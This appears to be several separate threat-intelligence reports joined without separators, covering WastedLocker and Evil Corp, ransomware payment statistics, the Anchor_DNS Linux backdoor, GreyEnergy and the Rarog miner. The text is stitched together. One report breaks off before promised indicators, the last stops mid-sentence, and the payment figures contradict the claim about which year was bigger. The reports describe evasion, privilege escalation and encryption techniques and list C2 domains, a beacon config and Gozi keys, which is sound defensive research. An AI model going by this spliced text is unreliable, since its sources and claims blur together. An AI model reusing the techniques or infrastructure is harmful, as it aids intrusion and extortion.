# WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group **June 23, 2020** **Authors:** Nikolaos Pantazopoulos, Stefano Antenucci, Michael Sandee ## 1. Introduction WastedLocker is a new ransomware locker detected since May 2020. It is believed to have been in development for several months prior and was initiated alongside other changes from the Evil Corp group in 2020. Evil Corp was previously associated with the Dridex malware and BitPaymer ransomware, which gained prominence in the first half of 2017. Recently, Evil Corp has altered several TTPs related to their operations, further described in this article. These changes were likely prompted by the unsealing of indictments against Igor Olegovich Turashev and Maksim Viktorovich Yakubets, along with financial sanctions against Evil Corp in December 2019. These legal events initiated a series of actions to dissociate the current Evil Corp group from the indicted individuals and their historical actions. ## 2. Attribution and Actor Background We have tracked the activities of the Evil Corp group for many years. Although the group has changed its composition since 2011, we have maintained oversight of their activities under this name. ### 2.1 Actor Tracking Business associations in organized cybercrime groups are fluid. Partnerships and affiliations are formed and dissolved more frequently than in nation-state sponsored groups. This fluidity can make cyber threat intelligence reporting misleading, as maintaining accurate assessments of cybercriminal groups' capabilities is challenging. For example, the Anunak group (also known as FIN7 and Carbanak) has frequently changed composition. Consequently, public reporting on FIN7 and Carbanak can distort the current reality. The Anunak or FIN7 group has worked closely with Evil Corp and the group known as TA505. Thus, TA505 activity is sometimes reported as Evil Corp activity, despite the two groups not collaborating since the second half of 2017. Attributing responsibility for malware or infection waves can also be difficult, as commodity malware is often sold for mass distribution or supplied to associates experienced in monetizing access to specific business types, such as financial institutions. Confusion can arise around the many financially oriented organized crime groups tracked publicly. Access to victim organizations is traded as a commodity, leading to business links that may not relate to the day-to-day operations of a group. ### 2.2 Evil Corp Despite these challenges, we assert with high confidence that Evil Corp has posed a significant threat to our clients. The group has operated the Dridex malware since July 2014 and provided access to several groups and individual threat actors. However, by late 2017, Evil Corp became smaller and used Dridex infections almost exclusively for targeted ransomware campaigns by deploying BitPaymer. Most victims were in North America, with fewer in Western Europe and scattered instances elsewhere. In 2018, Evil Corp briefly partnered with TheTrick group, leasing access to BitPaymer before switching to Ryuk. In 2019, a fork of BitPaymer, referred to as DoppelPaymer, emerged, although this operated under a different business model. Some cooperation between the two groups has been observed, but no definitive conclusions can be drawn about their current relationship. After the unsealing of indictments by the US Department of Justice and actions against Evil Corp by the US Treasury Department, we detected a brief period of inactivity from Evil Corp until January 2020. However, since then, activity has resumed, with victims appearing in the same regions as before. It is possible that this was a strategic move to suggest continued activity, as we observed little activity from them in terms of BitPaymer deployments around mid-March 2020, coinciding with COVID-19 lockdowns. The development of new malware takes time, and it is likely they had already begun developing new techniques and malware. Early indications included the use of a variant of Gozi referred to as Gozi ISFB 2, intended as a replacement for the Dridex botnet. A customized version of the CobaltStrike loader has also been observed, possibly intended as a replacement for the Empire PowerShell framework previously used. The group has access to highly skilled exploit and software developers capable of bypassing network defenses. They invest significant effort into bypassing endpoint protection products, as evidenced by their ability to return with undetected versions of their malware shortly after detection. This highlights the importance of victims fully understanding each incident, as detection or blocking of a single element does not equate to defeating advanced criminal actors. Evil Corp's lengths to bypass endpoint protection tools are demonstrated by their abuse of a victim’s email to pose as a legitimate client and request a trial license for a popular endpoint protection product. The group regularly finds innovative yet practical approaches to bypass detection based on their experience. They demonstrate patience and persistence, successfully compromising a target over six months after an initial failure to obtain privileged access. They also pay attention to detail, ensuring they obtain passwords to disable security tools on a network before deploying ransomware. ### 2.3 WastedLocker The new WastedLocker ransomware appeared in May 2020. The name is derived from the filename it creates, which includes an abbreviation of the victim’s name and the string ‘wasted’. The abbreviation was also seen in BitPaymer, although BitPaymer used a larger portion of the organization name. Technically, WastedLocker does not share much with BitPaymer, apart from the addition of victim-specific elements using a specific builder rather than at compile time. Some similarities were noted in the ransom note generated by both pieces of malware. The first WastedLocker example contained the victim's name as in BitPaymer ransom notes and included both protonmail.com and tutanota.com email addresses. Later versions also contained other Protonmail and Tutanota domains, as well as Eclipso and Airmail addresses. Interestingly, the user parts of the email addresses listed in the ransom messages are numeric, similar to the numbers used by BitPaymer in 2018. Evil Corp selectively targets infrastructure when deploying ransomware, typically hitting file servers, database services, virtual machines, and cloud environments. Their choices are influenced by their business model, which allows them to disable or disrupt backup applications and related infrastructure, increasing recovery time for victims or preventing recovery altogether. Notably, the group has not engaged in extensive information stealing or threatened to publish victim information, unlike DoppelPaymer and many other targeted ransomware operations. We assess that the probable reason for not leaking victim information is to avoid unwanted attention from law enforcement and the public. ## 3. Distribution While many aspects of Evil Corp's TTPs have changed recently, one notable element remains: distribution via the SocGholish fake update framework. This framework is still in use, now distributing a custom CobaltStrike loader instead of Dridex. A key feature of this framework is evaluating whether a compromised victim system is part of a larger network, as a sole end-user system is of little use to attackers. The SocGholish JavaScript bot collects information from the system and sends it to the SocGholish server, which returns a payload to the victim system. Other distribution methods also appear to be in use, but we have not independently verified this. ## 4. Technical Analysis ### 4.1 CobaltStrike Payloads CobaltStrike payloads are embedded inside two types of PowerShell scripts. The first type targets Windows 64-bit only, decoding a base64 payload twice and decrypting it using the AES algorithm in CBC mode. The AES key is derived from the SHA256 hash of a hard-coded string, and the initialization vector (IV) is derived from the first 16 bytes of the twice base64-decoded payload. The script converts the decrypted payload to bytes and allocates memory before executing it. The second type is simpler, including two embedded base64-encoded payloads: an injector and a loader for the CobaltStrike payload. Both the injector and loader are part of the ‘Donut’ project. An interesting behavior in the CobaltStrike payloads delivered from the second type of PowerShell scripts is the loader's modification to detect CrowdStrike software. If the `C:\Program Files\CrowdStrike` directory exists, the ‘FreeConsole’ Windows API is called after loading the CobaltStrike payload. Otherwise, it is called before loading the CobaltStrike beacon, likely an attempt to bypass CrowdStrike’s endpoint solution. ### 4.2 The Crypter WastedLocker is protected with a custom crypter, referred to as CryptOne. The code is basic and used by other malware families such as Netwalker, Gozi ISFB v3, ZLoader, and Smokeloader. The crypter contains junk code to increase entropy and hide the actual code. We have found two crypter variants with some code differences but similar logic. The crypter first checks specific registry keys. If the key is not detected, the crypter enters an infinite loop or exits, serving as an anti-analysis technique. The crypter allocates a memory buffer, joins data blobs into the allocated buffer, and decrypts this with an XOR-based algorithm. The shellcode then copies the encrypted payload into another buffer and decrypts it similarly. To execute the payload, the shellcode replaces the crypter’s code in memory with the decrypted payload and jumps to its entry point. ### 4.3 WastedLocker Ransomware WastedLocker aims to encrypt files on the infected host. Before encryption, it performs several tasks to ensure proper execution. It decrypts strings stored in the .bss section and calculates a DWORD value for locating decrypted strings related to the encryption process. The ransomware creates a log file `lck.log` and sets an exception handler to create a crash dump file in the Windows temporary folder. If the ransomware is not executed with administrator rights or if the infected host runs Windows Vista or later, it attempts to elevate its privileges using a well-documented UAC bypass method. It chooses a random file from the Windows system32 folder, copies it to `%APPDATA%` under a different hidden filename, and creates an alternate data stream (ADS) into the file. WastedLocker then copies `winsat.exe` and `winmm.dll` into a newly created folder in the Windows temporary folder. Once loaded, the hijacked DLL is patched to execute the ADS. The ransomware supports the following command line parameters: | Parameter | Purpose | |-----------|---------| | -r | i. Delete shadow copies<br>ii. Copy the ransomware binary file to `%windir%\system32` and take ownership of it (takeown.exe /F filepath) and reset the ACL permissions<br>iii. Create and run a service. The service is deleted once the encryption process is completed. | | -s | Execute service’s entry | | -p | Encrypt files in a specified directory and then proceed with the rest of the files in the drive | | -f | Encrypt files in a specified directory | In case of failure from the first two parameters, the ransomware proceeds with encryption but applies registry modifications in `Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap`: | Name | Modification | |------|--------------| | ProxyBypass | Deletes this key | | IntranetName | Deletes this key | | UNCAsIntranet | Sets this key to 0 | | AutoDetect | Sets this key to 1 | These modifications apply to both 32-bit and 64-bit systems, likely to ensure the ransomware can access remote drives. However, a bug exists in the architecture identification code, as the ransomware authors use a method to identify the operating system architecture that does not work on Windows 10 systems. Additionally, WastedLocker generates random names from a list by reading registry keys stored in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control`, separating names whenever a capital letter is found. ### 4.4 Strings Encryption Strings related to the ransomware are encrypted and stored in the .bss section of the binary file, including the ransom note and other important information. The strings are decrypted using a key that combines the size and raw address of the .bss section, as well as the ransomware’s compilation timestamp. The ransomware calculates a checksum to locate encrypted strings related to the encryption process. ### 4.5 Encryption Process The encryption process targets the following drive types: - Removable - Fixed - Shared - Remote Instead of listing extension targets, WastedLocker includes directories and extensions to exclude from the encryption process. Files smaller than 10 bytes are ignored, and large files are encrypted in blocks of 64MB. Once a drive is found, the ransomware searches for and encrypts files. Each file is encrypted using the AES algorithm with a newly generated AES key and IV (256-bit in CBC mode). The AES key and IV are encrypted with an embedded public RSA key (4096 bits). The RSA encrypted output of key material is converted to base64 and stored in the ransom note. For each encrypted file, the ransomware creates an additional file that includes the ransom note. The encrypted file’s extension is set according to the targeted organization's name along with the prefix wasted. For example, `test.txt.orgnamewasted` (encrypted data) and `test.txt.orgnamewasted_info` (ransomware note). The ransomware note and the list of excluded directories and extensions are available in the Appendix. Once encryption is complete, the ransomware updates the log file with information on the number of targeted files, encrypted files, and files not encrypted due to access rights issues. ### 4.6 WastedLocker Decrypter During our analysis, we identified a decrypter for WastedLocker. The decrypter requires administrator privileges and, similar to the encryption process, reports the number of files successfully decrypted. ## References 1. UAC Bypass by Mocking Trusted Directories 2. UACME 3. Donut ## Appendix ### Ransom Note ``` *ORGANIZATION_NAME* YOUR NETWORK IS ENCRYPTED NOW USE *EMAIL1* | *EMAIL2* TO GET THE PRICE FOR YOUR DATA DO NOT GIVE THIS EMAIL TO 3RD PARTIES DO NOT RENAME OR MOVE THE FILE THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY: [begin_key]*[end_key] KEEP IT ``` ### Excluded Extensions ``` *.386 *.adv *.ani *.bak *.bat *.bin *.cab *.cmd *.com *.cpl *.cur *.dat *.diagcab *.diagcfg *.dll *.drv *.exe *.hlp *.hta *.icl *.icns *.ics *.idx *.ini *.key *.lnk *.mod *.msc *.msi *.msp *.msstyles *.msu *.nls *.nomedia *.ocx *.ps1 *.rom *.rtp *.scr *.sdi *.shs *.sys *.theme *.themepack *.wim *.wpx *\bootmgr *\grldr ``` ### Excluded Directories ``` *\$recycle.bin* *\appdata* *\bin* *\boot* *\caches* *\dev* *\etc* *\initdr* *\lib* *\programdata* *\run* *\sbin* *\sys* *\system volume information* *\users\all users* *\var* *\vmlinuz* *\webcache* *\windowsapps* c:\program files (x86)* c:\program files* c:\programdata* c:\recovery* c:\users\ %USERNAME%\appdata\local\temp* c:\users\ %USERNAME%\appdata\roaming* c:\windows* ``` ### IoCs IoCs related to targeted ransomware attacks are often misunderstood. Each ransomware victim has a custom build configured for them, so knowing specific hashes used against historic victims does not provide protection. Even if behavioral patterns or network-related indicators exist, detection at that stage may not prevent the actual attack. We include known ransomware hashes for research purposes only; blocking files based on these attributes will not provide value. At Fox-IT, we focus on detecting the initial stages of such attacks, including infection delivery methods and lateral movement stages. Providing these IoCs to the public could be counterproductive, as threat actors would adapt their methods. However, we include some for historical context and to aid understanding of this threat actor. ### CobaltStrike This set of domains is used as C&C by the group for CobaltStrike lateral movement activity, using a custom loader. In 2020, the group switched to using CobaltStrike and no longer uses the Empire PowerShell framework. **CobaltStrike C&C Domains:** - adsmarketart.com - advancedanalysis.be - advertstv.com - amazingdonutco.com - cofeedback.com - consultane.com - dns.proactiveads.be - mwebsoft.com - rostraffic.com - traffichi.com - typiconsult.com - websitelistbuilder.com **CobaltStrike Beacon Config:** ``` SETTING_PROTOCOL: short: 8 (DNS: 0, SSL: 1) SETTING_PORT: short: 443 SETTING_SLEEPTIME: int: 45000 SETTING_MAXGET: int: 1403644 SETTING_JITTER: short: 37 SETTING_MAXDNS: short: 255 SETTING_PUBKEY: '' SETTING_PUBKEY SHA256: 14f2890a18656e4e766aded0a2267ad1c08a9db11e0e5df34054f6d8de749fe7 ptr SETTING_DOMAINS: websitelistbuilder.com,/jquery-3.3.1.min.js ptr SETTING_USERAGENT: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko ptr SETTING_SUBMITURI: /jquery-3.3.2.min.js ``` **Custom CobaltStrike Loader Samples (SHA256 Hashes):** - 2f72550c99a297558235caa97d025054f70a276283998d9686c282612ebdbea0 - 389f2000a22e839ddafb28d9cf522b0b71e303e0ae89e5fc2cd5b53ae9256848 - 3dfb4e7ca12b717a0cf12edce288b26a970339e6529a0b2dad7114bba0e16c3 - 714e0ed61b0ae779af573dce32cbc4d70d23ca6cfe117b63f53ed3627d121feb - 810576224c148d673f47409a34bd8c7f743295d536f6d8e95f22ac278852a45f - 83710bbb9d8d1cf68b425f52f2fb29d5ebbbd05952b60fb3f09e609dfcf1976c - 91e18e5e048b39dfc8d250ae54471249d59c637e7a85981ab0c81cf5a4b8482d - adabf8c1798432b766260ac42ccdd78e0a4712384618a2fc2e3695ff975b0246 - b0354649de6183d455a454956c008eb4dec093141af5866cc9ba7b314789844d - bc1c5fecadc752001826b736810713a86cfa64979b3420ab63fe97ba7407f068 - c781c56d8c8daedbed9a15fb2ece165b96fdda1a85d3beeba6bb3bc23e917c90 - c7cde31daa7f5d0923f9c7591378b4992765eac12efa75c1baaaefa5f6bdb2b6 - f093b0006ef5ac52aa1d51fee705aa3b7b10a6af2acb4019b7bc16da4cabb5a1 **.NET Injector (Donut) (SHA256 Hash):** - 6088e7131b1b146a8e573c096386ff36b19bfad74c881ca68eda29bd4cea3339 ### Gozi ISFB v2 This set contains C&C domains, bot version, Group ID, RSA key, and Serpent encryption keys for two Gozi variants used for persistence in victim networks during 2020. **Gozi C&C Domains:** - bettyware.xyz - celebratings.xyz - fakeframes.xyz - gadgetops.xyz - hotphonecall.xyz - justbesarnia.xyz - kordelservers.xyz - tritravlife.xyz - veisllc.xyz - wineguroo.xyz **Gozi Versions:** - 217119 - 217123 **Gozi Group ID:** - 30000 **Gozi RSA Key:** ``` 00020000BEA9877343AD9F6EA8E122A5A540C071E96AB5E0C8D73991BFACB8D7867125966C60153EB1315F07FD8B276D7A45A5404642CC9D1F79357452BB84EDAA7C ``` **Gozi Serpent Network Encryption Keys:** ``` 8EzkwaSgkg565AyQ eptDZELKvZUseoAH GbdG3H7PgSVEme2r RQ5btM2UfoCHAMKN ``` **Gozi Samples (SHA256 Hashes):** - 5706e1b595a9b7397ff923223a6bc4e4359e7b1292eaed5e4517adc65208b94b - ba71ddcab00697f42ccc7fc67c7a4fccb92f6b06ad02593a972d3beb8c01f723 - c20292af49b1f51fac1de7fd4b5408ed053e3ebfcb4f0566a2d4e7fafadde757 - cf744b04076cd5ee456c956d95235b68c2ec3e2f221329c45eac96f97974720a **WastedLocker Samples (SHA256 Hashes):** - 5cd04805f9753ca08b82e88c27bf5426d1d356bb26b281885573051048911367 - 887aac61771af200f7e58bf0d02cb96d9befa11deda4e448f0a700ccb186ce9d - 8897db876553f942b2eb4005f8475a232bafb82a50ca7761a621842e894a3d80 - bcdac1a2b67e2b47f8129814dca3bcf7d55404757eb09f1c3103f57da3153ec8 - e3bf41de3a7edf556d43b6196652aa036e48a602bb3f7c98af9dae992222a8eb - ed0632acb266a4ec3f51dd803c8025bccd654e53c64eb613e203c590897079b3 The following IoCs are specifically related to the crypter used by Evil Corp, referred to as CryptOne. Given that CryptOne is used by multiple malware families, it is likely a third-party service.
# Ransomware Becomes Deadlier, Conti Makes the Most Money It can be safely stated that ransomware has become the topmost threat in the cyber landscape. Ransomware actors are constantly upping their TTPs and finding new ways to make profits. A new report by Chainalysis states that ransomware victims spent almost $700 million in ransom in 2020. ## What else does the report say? The total ransom paid in 2020 amounted to $692 million and for 2021, the value was $602 million. However, the first half of 2021 amassed more ransom than the first half of 2020, signifying that last year was a bigger year for ransomware. What’s shocking is that Conti gained the highest ransom, amounting to $180 million, followed by Evil Corp at $85 million. Last year witnessed a huge number of individual ransom variants with at least 140 of them receiving ransom payments. The number was 119 and 79 for 2020 and 2019, respectively. The average ransom payment increased from $88,000 in 2020 to $118,000 in 2021. ## More on Conti Chainalysis identified the Conti ransomware group as the only ransomware that stayed active throughout the entire year. The gang has been on the radar of the U.S. government for months. In mid-2021, the FBI and CISA identified more than 400 attacks related to Conti. Not very long ago, the group attacked KP Snacks and sabotaged its IT systems, which led to supply chain problems. Due to this devastating attack, the company would not be able to deliver placed orders until at least March-end. In January, Conti allegedly compromised Taiwan-based Delta Electronics. However, the firm claimed that only non-critical processes were interrupted and operations were not majorly impacted. ## The bottom line Conti is a closed RaaS operation and hence, skews toward highly sophisticated attacks. While law enforcement agencies are increasingly taking down ransomware groups and seizing stolen funds, ransomware attacks show no signs of slowing down. Not only Conti, but almost every ransomware group is moving toward larger or varied targets and getting better at extorting huge amounts of cryptocurrency.
# Anchor_dns Malware Goes Cross Platform **Waylon Grange** July 13, 2020 The actors behind Trickbot, a high-profile banking trojan, have recently developed a Linux port of their new DNS command and control tool known as Anchor_DNS. Often delivered as part of a zip, this malware is a lightweight Linux backdoor. Upon execution, it installs itself as a cron job, determines the public IP for the host, and then begins to beacon via DNS queries to its C2 server. Because the DNS channel provides an indirect route for the malware to communicate, the attackers aren’t provided with the IP address of the victim. To mitigate this, the malware utilizes public IP lookup services to determine where the target is located. Upon first run, the malware will randomly select one of the following URLs to find its external IP. It then enters its main communication loop where it generates the DNS query and parses the result. The method for generating the DNS query uses a similar format as the Windows version described in this article by NTT but with a few changes. `anchor_dns` is instead replaced with `anchor_linux`, and the `uname` command is utilized to determine the hostname and Linux version. The `client_id` is a 32-byte value hardcoded into the binary. `LVER` is the Linux version which is also used as part of the hostname. If my Linux version is `5.6.0`, the `LVER` would be `L560`. Finally, the public IP discovered above, along with the payload, is appended to the end. This is all combined as shown above, which is then XOR’d with `0xb9`, hex encoded, and then prepended to the root C2 domain. In this case, `biillpi.com`. The server responds with a number of A records which contain the encoded response in a similar format to that outlined by NTT. The malware’s main functionality is to be a simple dropper. It has basic download and execute capabilities, and when doing so on the Linux host, it will drop the payload to `/tmp/<random_15_chars>` and execute via `sh`. More interesting, however, is that it also contains support for Windows execution via SMB shares and IPC. The sample also has a Windows version of the malware embedded inside that it can install on remote Windows shares and then execute as a service. It utilizes the open-source `libsmb2` project to do this. Given that the Trickbot family has a history of harvesting Putty credentials, we see how this can be used to further propagate within the victim's network. The further development of the anchor family of malware suggests the Trickbot family intends to continue utilizing its new DNS-based command and control communications. Given the generally lower rate of Linux malware detection, it is of the utmost importance organizations closely monitor their network traffic and DNS resolutions. **Hashes:** 55754d178d611f17efe2f17c456cb42469fd40ef999e1058f2bfe44a503d877c C721189a2b89cd279e9a033c9 **Domains:** *.biillpi.com **IPs:** 23.95.97.59 **Yara:** ```yara rule anchor_linux_dns { meta: author = "Stage 2 Security" description = "Trickbot anchor_linux" strings: $hdr = {7f 45 4c 46} $x1 = {80 74 0? ?? b9} $x2 = "anchor_l" $x3 = "getaddrinfo" $x4 = "IPC$" $x5 = {48 ?? 2f 74 6d 70 2f 00 00 00} $x6 = "test my ip" $x7 = {73 6d 62 32 5f [4–7] 5f 61 73 79 6e 63 20} $x8 = "Kernel32.dll" $x9 = "libcurl" $x10 = "/1001/" condition: $hdr at 0 and 7 of ($x*) } ```
# GreyEnergy: Updated Arsenal of One of the Most Dangerous Threat Actors ESET research reveals a successor to the infamous BlackEnergy APT group targeting critical infrastructure, quite possibly in preparation for damaging attacks. Recent ESET research has uncovered details of the successor of the BlackEnergy APT group, whose main toolset was last seen in December 2015 during the first-ever blackout caused by a cyberattack. Around the time of that breakthrough incident, when around 230,000 people were left without electricity, we started detecting another malware framework and named it GreyEnergy. It has since been used to attack energy companies and other high-value targets in Ukraine and Poland for the past three years. It is important to note that when we describe ‘APT groups’, we’re making connections based on technical indicators such as code similarities, shared C&C infrastructure, malware execution chains, and so on. We’re typically not directly involved in the investigation and identification of the individuals writing the malware and/or deploying it, and the interpersonal relations between them. Furthermore, the term ‘APT group’ is very loosely defined and often used merely to cluster the abovementioned malware indicators. This is also one of the reasons why we refrain from speculation with regard to attributing attacks to nation states and such. We have already extensively documented the threat actors’ transition towards TeleBots in cyberattacks on high-value targets in the Ukrainian financial sector, the supply-chain attacks against Ukraine, and in an analysis of TeleBots’ cunning backdoor. All from the group most notable for the NotPetya ransomware outbreak. At the same time, we have also been keeping a close eye on GreyEnergy – a subgroup operating in parallel, but with somewhat different motivations and targeting. Although ESET telemetry data shows GreyEnergy malware activity over the last three years, this APT group has not been documented until now. This is probably due to the fact that those activities haven’t been destructive in nature, unlike the numerous TeleBots ransomware campaigns (not only NotPetya), the BlackEnergy-enabled power grid attack, and the Industroyer-caused blackout – which we have linked to these groups for the first time last week. Instead, the threat actors behind GreyEnergy have tried to stay under the radar, focusing on espionage and reconnaissance, quite possibly in preparation of future cybersabotage attacks or laying the groundwork for an operation run by some other APT group. GreyEnergy’s malware framework bears many similarities to BlackEnergy. It is similarly modular in construction, so its functionality is dependent on the particular combination of modules its operator uploads to each of the targeted victim systems. The modules that we have observed were used for espionage and reconnaissance purposes (i.e., backdoor, file extraction, taking screenshots, keylogging, password and credential stealing, etc.). We have not observed any modules that specifically target Industrial Control Systems (ICS). We have, however, observed that the GreyEnergy operators have been strategically targeting ICS control workstations running SCADA software and servers, which tend to be mission-critical systems never meant to go offline except for periodic maintenance. ## Links to BlackEnergy and TeleBots Some of the reasons ESET researchers consider BlackEnergy and GreyEnergy related are: - The appearance of GreyEnergy in the wild coincides with the disappearance of BlackEnergy. - At least one of the victims targeted by GreyEnergy had been targeted by BlackEnergy in the past. Both subgroups share an interest in the energy sector and critical infrastructure. Both have had victims primarily in Ukraine, with Poland ranking second. - There are strong architectural similarities between the malware frameworks. Both are modular, and both employ a “mini”, or light, backdoor deployed before admin rights are obtained and the full version is deployed. - All remote C&C servers used by the GreyEnergy malware were active Tor relays. This has also been the case with BlackEnergy and Industroyer. We hypothesize that this is an operational security technique used by the group so that the operators can connect to these servers in a covert manner. Compared to BlackEnergy, GreyEnergy is a more modern toolkit with an even greater focus on stealth. One basic stealth technique – employed by both families – is to push only selected modules to selected targets, and only when needed. On top of that, some GreyEnergy modules are partially encrypted using AES-256 and some remain fileless – running only in memory – with the intention of hindering analysis and detection. To cover their tracks, typically, GreyEnergy’s operators securely wipe the malware components from the victims’ hard drives. In addition to the outlined similarities with BlackEnergy, we have observed another link between GreyEnergy and the TeleBots subgroup. In December 2016, we noticed an instance of GreyEnergy deploying an early version of the TeleBots’ NotPetya worm – half a year before it was altered, improved, and deployed in the most damaging ransomware outbreak in history. There is significant code reuse between this ransomware component and the GreyEnergy core module. We call this early version “Moonraker Petya”, based on the malware writers’ choice of filename – most likely a reference to the James Bond movie. It didn’t feature the infamous EternalBlue spreading mechanism, as it had not been leaked at that time. ## GreyEnergy Tactics, Techniques and Procedures We have observed two distinct infection vectors: “traditional” spearphishing and the compromise of public-facing web servers. When such a vulnerable web server was hosted internally and connected to the rest of a targeted organization’s network, the attacker would attempt to move laterally to other workstations. This technique is used not only as a primary infection vector but also as a backup reinfection vector. The attackers typically deploy internal C&C proxies within the victims’ networks. Such proxy C&Cs redirect requests from infected nodes inside the network to an external C&C server on the internet. This is another stealth tactic, as it is less suspicious to a defender to see that multiple computers are “talking” to an internal server, rather than a remote one. A very curious observation – one that is also indicative of the group’s targeting – is that some of the GreyEnergy samples we detected were signed with a certificate from Advantech, a Taiwanese manufacturer of industrial and IoT hardware. These were most likely stolen from the company, just as in the case of Stuxnet and a recent Plead malware campaign. The GreyEnergy operators also employ common external tools in their arsenal, such as Mimikatz, PsExec, WinExe, Nmap, and a custom port scanner. For a detailed analysis of the GreyEnergy toolset and operations refer to our white paper GreyEnergy: A Successor to BlackEnergy. A full list of Indicators of Compromise (IoCs) and samples can be found on GitHub. For any inquiries, or to make sample submissions related to the subject, please contact us at: [email protected]. For more information about how to protect yourself, you can visit our website and find out more about GreyEnergy. Anton Cherepanov and Robert Lipovsky 17 Oct 2018 - 11:55 AM
# Smoking Out the Rarog Cryptocurrency Mining Trojan **By Unit 42** **April 4, 2018** For the past few months, Unit 42 researchers have investigated a relatively unknown coin mining Trojan that goes by the name ‘Rarog’. Rarog has been sold on various underground forums since June 2017 and has been used by countless criminals since then. To date, Palo Alto Networks has observed roughly 2,500 unique samples, connecting to 161 different command and control (C2) servers. Rarog has been seen primarily used to mine the Monero cryptocurrency; however, it has the capability to mine others. It comes equipped with a number of features, including providing mining statistics to users, configuring various processor loads for the running miner, the ability to infect USB devices, and the ability to load additional DLLs on the victim. Rarog is in line with the overall trends we’ve seen regarding the rapidly increasing use of cryptocurrency miners. Additionally, Rarog provides an affordable way for new criminals to gain entry into this particular type of malware. To date, we have confirmed over 166,000 Rarog-related infections worldwide. The majority of these occur in the Philippines, Russia, and Indonesia. While a large number of infections have been recorded by various criminals who have used this mining Trojan, we have seen very little recorded profits: the highest profits we have observed amount to roughly US $120. The Trojan itself is likely named after a “Raróg”, a fire demon that originates in Slavic mythology and is typically represented as a fiery falcon. ## Rarog on the Underground The Rarog Trojan originated on various Russian-speaking criminal underground sites in June 2017. The malware sells for 6,000 Rubles, or roughly US $104 at today’s exchange rates. Additionally, a guest administration panel is provided to allow potential buyers the chance to do a “test drive” by interacting with the interface. Note the two Twitter handles shown in the administration panel. The first handle, “arsenkooo135”, is the same handle used in various postings for this malware family. We observed the second handle, “foxovsky”, interacting with other security researchers online. We also tied this handle to a GitHub repository with the same handle that hosts various other malware families. Evidence suggests that these two individuals are the ones behind this threat. ## Rarog Malware Family At a very high level, the Rarog Mining Trojan performs the following actions: The malware comes equipped with a number of features. It uses multiple mechanisms to maintain persistence on the victim’s machine, including the use of the Run registry key, scheduled tasks, and shortcut links in the startup folder. At its core, Rarog is a coin mining Trojan and gives the attackers the ability to not only download mining software but configure it with any parameters they wish. They’re also able to easily throttle the mining software based on the victim machine’s characteristics. In addition to coin mining, Rarog also employs a number of botnet techniques. It allows the attackers to perform a number of actions, such as downloading and executing other malware, levying DDoS attacks against others, and updating the Trojan, to name a few. Throughout the malware’s execution, a number of HTTP requests are made to a remote C2 server. An overview of all of these URIs and their description may be found below: | URI | Description | |-----------------------------------------|-------------| | /2.0/method/checkConnection | To ensure the remote server is responding as expected. | | /2.0/method/config | Get arguments to supply to miner program. | | /2.0/method/delay | Retrieve time to sleep before executing miner program. | | /2.0/method/error | Retrieve information about error message to display to the victim. | | /2.0/method/get | Get location of miner file based on CPU architecture of victim. | | /2.0/method/info | Get exe name of miner program. | | /2.0/method/setOnline | Update statistics for victim on C2 server. | | /2.0/method/update | Used for updating the Rarog Trojan. | | /4.0/method/blacklist | Retrieve a list of process names to check against. Should any be running in the foreground, Rarog will suspend mining operations. | | /4.0/method/check | Query remote C2 server to determine if ID exists. | | /4.0/method/cores | Retrieve percentage of CPU to use on victim machines for mining. | | /4.0/method/installSuccess | Query the C2 server for botnet instructions. | | /4.0/method/modules | Retrieve third-party modules to load on victim. | | /4.0/method/threads | Determine what tasks to run on the victim machine (USB spreading, helper executables, etc.) | For additional information on how the Rarog malware family operates, please refer to the Appendix. ## Victim Telemetry We identified a total of 161 C2 servers communicating with the Rarog malware family. A full list may be found in the Appendix. Looking at the geographic distribution of these C2 servers, we see a high concentration of them located in Russia and Germany. The distribution rate of new Rarog samples has varied in the past nine months, with a large spike occurring between late August to late September of 2017. At its peak, we encountered 187 unique Rarog samples during the week of September 11, 2017. These samples confirm at least 166,000 victims spread across the globe. While infections occur in most regions of the world, high concentrations occur in the Philippines, Russia, and Indonesia. Rarog is able to provide telemetry to those that have purchased it using the third-party MinerGate mining service. A number of MinerGate API keys were able to be retrieved; however, the profits made by these attackers were minimal at best. The most profitable attacker was found to generate roughly 0.58 Monero (XMR) and 54 ByteCoin (BCN). By today’s exchange rates, this amounts to $123.68 total. After factoring in the cost of the malware itself at $104, the attackers in question have generated very little income. In most cases, they’ve lost money. ## Ties to Previous Malware Families In late October 2017, Kaspersky wrote a blog post about a malware family named ‘DiscordiaMiner’. In this blog post, they describe a cryptocurrency miner that shared a number of characteristics with Rarog. Upon further inspection, they mention the author of the program, who is none other than the previously mentioned “foxovsky” user. Indeed, when looking at this user’s GitHub account, we saw the source code to this mining Trojan. The last time the source code to this particular malware was updated was on May 25th, 2017. Looking at the source code to DiscordiaMiner, we see a large number of similarities with Rarog. So many, in fact, that we might reach the conclusion that Rarog is an evolution of Discordia. Kaspersky’s blog post discussed some drama concerning this particular malware family on various underground forums. Accusations were made against the Trojan’s author with substituting customer’s cryptocurrency wallet addresses with his own. This dispute is what ultimately led foxovsky to open-source the DiscordiaMiner program on GitHub. The timeline of when Rarog was first advertised in June 2017, as well as the time DiscordiaMiner was last updated in May 2017, paints an interesting picture. Based on this information, as well as the heavy code overlap made between the malware families, I suspect that foxovsky rebranded DiscordiaMiner to Rarog and continued development on this newly named malware family. This rebranding allowed him to get away from the negativity that was associated with DiscordiaMiner. ## Conclusion The Rarog malware family represents a continued trend toward the use of cryptocurrency miners and their demand on the criminal underground. While not incredibly sophisticated, Rarog provides an easy entry for many criminals into running a cryptocurrency mining botnet. The malware has remained relatively unknown for the past nine months barring a few exceptions. As the value of various cryptocurrencies continues to remain high, it is likely that we’ll continue to see additional malware families with mining functionality surface. Palo Alto Networks customers are protected against this threat in the following ways: - All samples referenced in this blog post are appropriately marked as malicious in WildFire and Traps. - All domains used as C2 servers for Rarog are flagged as malicious. - Tracking of the Rarog malware family may be done through the AutoFocus Rarog tag. ## Appendix ### Technical Malware Analysis The file with the following properties was used to conduct this analysis: - **MD5**: 15361551cb2f705f80e95cea6a2a7c04 - **SHA1**: a388e464edeb8230adc955ed6a78540ed1433078 - **SHA256**: 73222ff531ced249bf31f165777696bb20c42d2148938392335f97f5d937182a - **Compile Time**: 2018-03-17 16:36:18 UTC - **PDB String**: D:\Work\_Rarog\Release\Rarog.pdb When Rarog is initially executed, the malware will look for the existence of the following file: - 